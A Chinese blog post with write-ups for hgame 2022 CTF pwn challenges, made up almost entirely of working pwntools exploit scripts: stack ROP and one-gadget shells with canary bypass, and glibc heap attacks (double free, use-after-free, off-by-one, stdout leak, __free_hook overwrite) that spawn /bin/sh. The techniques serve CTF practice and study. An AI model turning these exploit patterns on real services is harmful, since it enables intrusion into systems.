hgame 2022 PWN 部分题目 Writeup

原创

拾光、 已于 2022-02-24 16:31:52 修改 2728 收藏 1

分类专栏： ctf 文章标签： hgame2022 hgame pwn writeup wp
于 2022-02-18 20:37:12 首次发布

文章目录

Level - Week1
enter_the_pwn_land
enter_the_evil_pwn_land
test_your_nc
test_your_gdb
Level - Week2
oldfashion_note
Level - Week3
changeable_note
elder_note
sized_note

Level - Week1

enter_the_pwn_land

```python
#encoding=utf-8
from pwn import *
context(os='linux',arch='amd64')
fpath='/mnt/d/ctf/ti/hgame2022/pwn/enter_the_pwn_land/to_give_out/a.out'
r = process(fpath)
#r = remote("chuj.top",31952)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/enter_the_pwn_land/to_give_out/libc-2.31.so")
r.sendline("a"*0x20)
libc.address =  u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) +0x288f6-0x25000
print("libc_base:",hex(libc.address ))
poprdi=0x401312 + 1

sys_addr=libc.symbols['system']
print("sys_addr:"+hex(sys_addr))

sh_addr=next(libc.search(b"/bin/sh\0"))
print("sh_addr:"+hex(sh_addr))
payload = b'a'*0x2c+b'\x2d'+ b'\x00'*2+p64(0)+p64(poprdi+1)+p64(poprdi)+p64(sh_addr)+p64(sys_addr)

r.sendline(payload)
r.interactive()
```

enter_the_evil_pwn_land

```python
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
fpath='/mnt/d/ctf/ti/hgame2022/pwn/enter_the_evil_pwn_land/to_give_out/a.out_2.31'
#r = process(fpath)
r = remote("chuj.top",38991)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/enter_the_evil_pwn_land/to_give_out/libc-2.31.so")

r.sendline("a"*0x20)
libc.address =  u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) + 0x288f6 - 0x25000
print("libc_base:",hex(libc.address ))
canary=0x9999999999999900
poprdi=0x401362 + 1

sys_addr=libc.symbols['system']
print("sys_addr:"+hex(sys_addr))
sh_addr=next(libc.search(b"/bin/sh\0"))
print("sh_addr:"+hex(sh_addr))

one = [0xe6c7e, 0xe6c81, 0xe6c84] #2.31
one_addr = one[1]+libc.address
payload = b'a'*0x28+p64(canary)+p64(0)+p64(one_addr)
payload = payload.ljust(0x868,b'\0')
payload +=p64(canary)
time.sleep(1)
r.sendline(payload)
r.interactive()
```

test_your_nc

```
nc chuj.top 50026
cat flag
```

test_your_gdb

```
#encoding=utf-8
from pwn import *
fpath='/mnt/d/ctf/ti/hgame2022/pwn/test_your_gdb/to_give_out/a.out'
r = process(fpath)
#r = remote("chuj.top",50610)
elf = context.binary = ELF(fpath)
payload=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
r.sendafter('enter your pass word', payload)
r.recvline()
r.recv(16)
a=u64(r.recv(8))
canary=u64(r.recv(8))
print("canary",hex(canary))
backdoor = 0x401256
payload=b'a'*24 + p64(canary)+p64(0)+p64(backdoor)
r.sendline(payload)
r.interactive()
```

Level - Week2

oldfashion_note

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
context.log_level = 'debug'
#r = remote('chuj.top',51336)
fpath='/mnt/d/ctf/ti/hgame2022/pwn/oldfashion_note/to_give_out/note'
r = process(fpath)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/oldfashion_note/to_give_out/libc-2.31.so")
import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)

#Proof_Of_Work()

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?",str(idx))
```

```
    r.sendlineafter(">>",str(lenn))
    r.sendlineafter(">>",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("Input the index:\n",str(idx))
    #r.sendlineafter(":\n",str(lenn))
    r.sendlineafter(":\n",ddd)
def _remove(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter(">>",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter(">>",str(idx))

_add(0,0x90,"0") #0x100
_add(1,0x90,"1")#0x100

for i in range(7):
    _add(7+i,0x90,"3")#0x100
for i in range(7):
    _remove(7+i)#0x100

_remove(0)
_view(0)

main_arna_96 = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))
_add(2,0x60,"1")
_add(3,0x60,"1")
_add(4,0x60,"1")

for i in range(7):
    _add(7+i,0x60,"3")#0x100
for i in range(7):
    _remove(7+i)#0x100
_remove(2)
_remove(3)
_remove(2)
for i in range(7):
    _add(7+i,0x60,"3")#0x100

_add(3,0x60,p64(free_hook_addr))###uaf利用
_add(4,0x60,'/bin/sh\0')
_add(5,0x60,'11')
_add(6,0x60,p64(system_addr))

_remove(4)
```

```
_remove(4)
r.interactive()
```

Level - Week3

changeable_note

1、利用堆溢出 构造unsorted bin 和 fast bin 重叠

2、io_file_leak泄露libc

3、堆溢出构造free hook

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
fpath='/mnt/d/ctf/ti/hgame2022/pwn/changeable_note/note'
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/changeable_note/libc-2.23.so")

import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?\n>> ",str(idx))
    r.sendlineafter(">> ",str(lenn))
    r.sendafter(">> ",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("index?\n>> ",str(idx))
    time.sleep(0.1)
    r.sendline(ddd)
def _remove(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("index?\n>> ",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("index?\n>> ",str(idx))
def pwn():
    #因为edit使用的gets 会产生00结尾 无法使用edit修改 stdout 地址
    _add(0,0x60,b"0") #0x70
    _add(1,0x8,b"1") #0x20 防止后面重新申请时 不申请 释放的2  不与2相同。
    _add(2,0x8,b"2") #0x20
    _add(3,0x60,b"3"*0x28+p64(0x41)) #0x70  0x30+0x40   ###fffffffake
    _add(4,0x60,b"4") #0x70
```

```
    _add(5,0x60,b"5") #0x70

    _remove(3)
    _edit(1, b'0'*0x18+p64(0x51))
    _remove(2)

    _edit(0, b'\0'*0x68+p64(0x20+0x20+0x70+0x71))
    _remove(1)
    _add(1,0x30,b"1") #0x70

    _add(2,0x40,b'0'*0x18+p64(0x71)+b'\xdd\x85') #0x70

    _add(3,0x60,b"1") #0x70
    payload = b'\0'*0x33 + p64(0xfbad3887) + p64(0)*3 +b"\x88" #_chain filed
    _add(6, 0x60, payload)                        #fake chunk (stdout)
    libc.address =  u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -libc.sym["_IO_2_1_stdin_"]
    libc.address = abs(libc.address)
    print("libc.address:", hex(libc.address))

    _add(7, 0x100, '7')
    _add(8, 0x100, '8')
    _remove(7)
    free_hook_addr = libc.symbols['__free_hook']
    system_addr = libc.symbols['system']
    print("free_hook_addr:", hex(free_hook_addr))
    print("system_addr:", hex(system_addr))
    _edit(5,b'5'*0x68+p64(0x110)+p64(free_hook_addr-29)+p64(free_hook_addr-29)) #0x70  0.5 用于修改1大小
    _add(7,0x100,"1") #0x70

    _remove(4)
    print('free_hook_addr:',hex(free_hook_addr))
    _edit(3, b'0'*0x68+p64(0x71)+p64(free_hook_addr-16))
    _add(8,0x60,b"/bin/sh") #0x70
    _add(9,0x60,p64(system_addr)) #0x70
    _remove(8)
    r.interactive()

while True:
 try:
  r = process(fpath)
  #r = remote("chuj.top",52595)
  #Proof_Of_Work()
  pwn()
  break
 except:
  r.close()
```

elder_note

1、fastbin doublefree 构造堆重叠改写堆构造unsortedbin攻击泄露libc
2、使用unsorted bin 在__free_hook前写入7f
3、使用fastbin doublefree 构造free hook

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#r = remote('chuj.top',52603)
fpath='/mnt/d/ctf/ti/hgame2022/pwn/elder_note/note'
```

```python
r = process(fpath)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/elder_note/libc-2.23.so")

import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)
#Proof_Of_Work()

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?",str(idx))
    r.sendlineafter(">>",str(lenn))
    r.sendafter(">>",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("Input the index:\n",str(idx))
    #r.sendlineafter(":\n",str(lenn))
    r.sendlineafter(":\n",ddd)
def _remove(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter(">>",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter(">>",str(idx))

_add(0,0x60,b"1"*0x58+p64(0x71)) #0x70
_add(1,0x60,b"1"*0x58+p64(0x71)) #0x70
_add(2,0x50,"1") #0x60
_add(3,0x60,"1") #0x70
_remove(0)
_remove(1)
_remove(0)

_add(0,0x60,"\x60") #0x70  0
_add(1,0x60,"0") #0x70
_add(4,0x60,"0") #0x70 4==0

_add(5,0x60,p64(0)+p64(0xd1)) #0x70  0.5 用于修改1大小
_remove(1)
_view(1)
main_arna_96 = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
```

```
free_hook_addr = libc_base +libc.symbols['__free_hook']
system_addr = libc_base + libc.sym['system']
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_remove(5)
_add(5,0x60,p64(0)+p64(0x71)+p64(free_hook_addr-29)+p64(free_hook_addr-29)) #0x70  0.5 用于修改1大小
_add(1,0x60,"1") #0x70

_remove(0)
_remove(1)
_remove(0)

_add(0,0x60,p64(free_hook_addr-16)) #
_add(1,0x60,"/bin/sh")#
_add(6,0x60,"4")#
_add(7,0x60,p64(system_addr))#0x100
_remove(1)

r.interactive()
```

sized_note

off by one

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#r = remote('chuj.top',52919)
fpath='/mnt/d/ctf/ti/hgame2022/pwn/sized_note/note'
r = process(fpath)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/sized_note/libc.so.6")


import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)

#Proof_Of_Work()

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?\n>> ",str(idx))
```

```
    r.sendlineafter(">> ",str(lenn))
    r.sendafter(">> ",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'4s')
    r.sendlineafter("index?\n>> ",str(idx))
    time.sleep(0.1)
    r.sendline(ddd)
def _del(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("index?\n>> ",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("index?\n>> ",str(idx))


_add(0, 0xf8, '0') #chunksize 0x500
_add(1, 0xf8, '1') #chunksize 0x500
_add(2, 0xf8, '2') #chunksize 0x200
_add(3, 0xf8, '3') #chunksize 0x500
_add(4, 0xf8, '4') #chunksize 0x500
_add(5, 0x20, '/bin/sh\0 3')

for i in range(7):
    _add(7+i, 0xf8, '2') #chunksize 0x500
for i in range(7):
    _del(7+i) #chunksize 0x500
_del(0)
_edit(1,b'a'*0xf0 + p64(0x200))
_del(2)
for i in range(7):
    _add(7+i, 0xf8, '2') #chunksize 0x500
_add(0, 0xf8, '0') #chunksize 0x500
_view(1)

main_arna_96 = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base +libc.symbols['__free_hook']
system_addr = libc_base + libc.sym['system']
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_add(5, 0x20, '5') # 5 和 1 指向同一地址。
_del(5) # uaf
_edit(1, p64(free_hook_addr))
_add(6,0x20, '/bin/sh\0 #6')
_add(7,0x20, p64(system_addr))

_del(6) #3 6都行
r.interactive()
```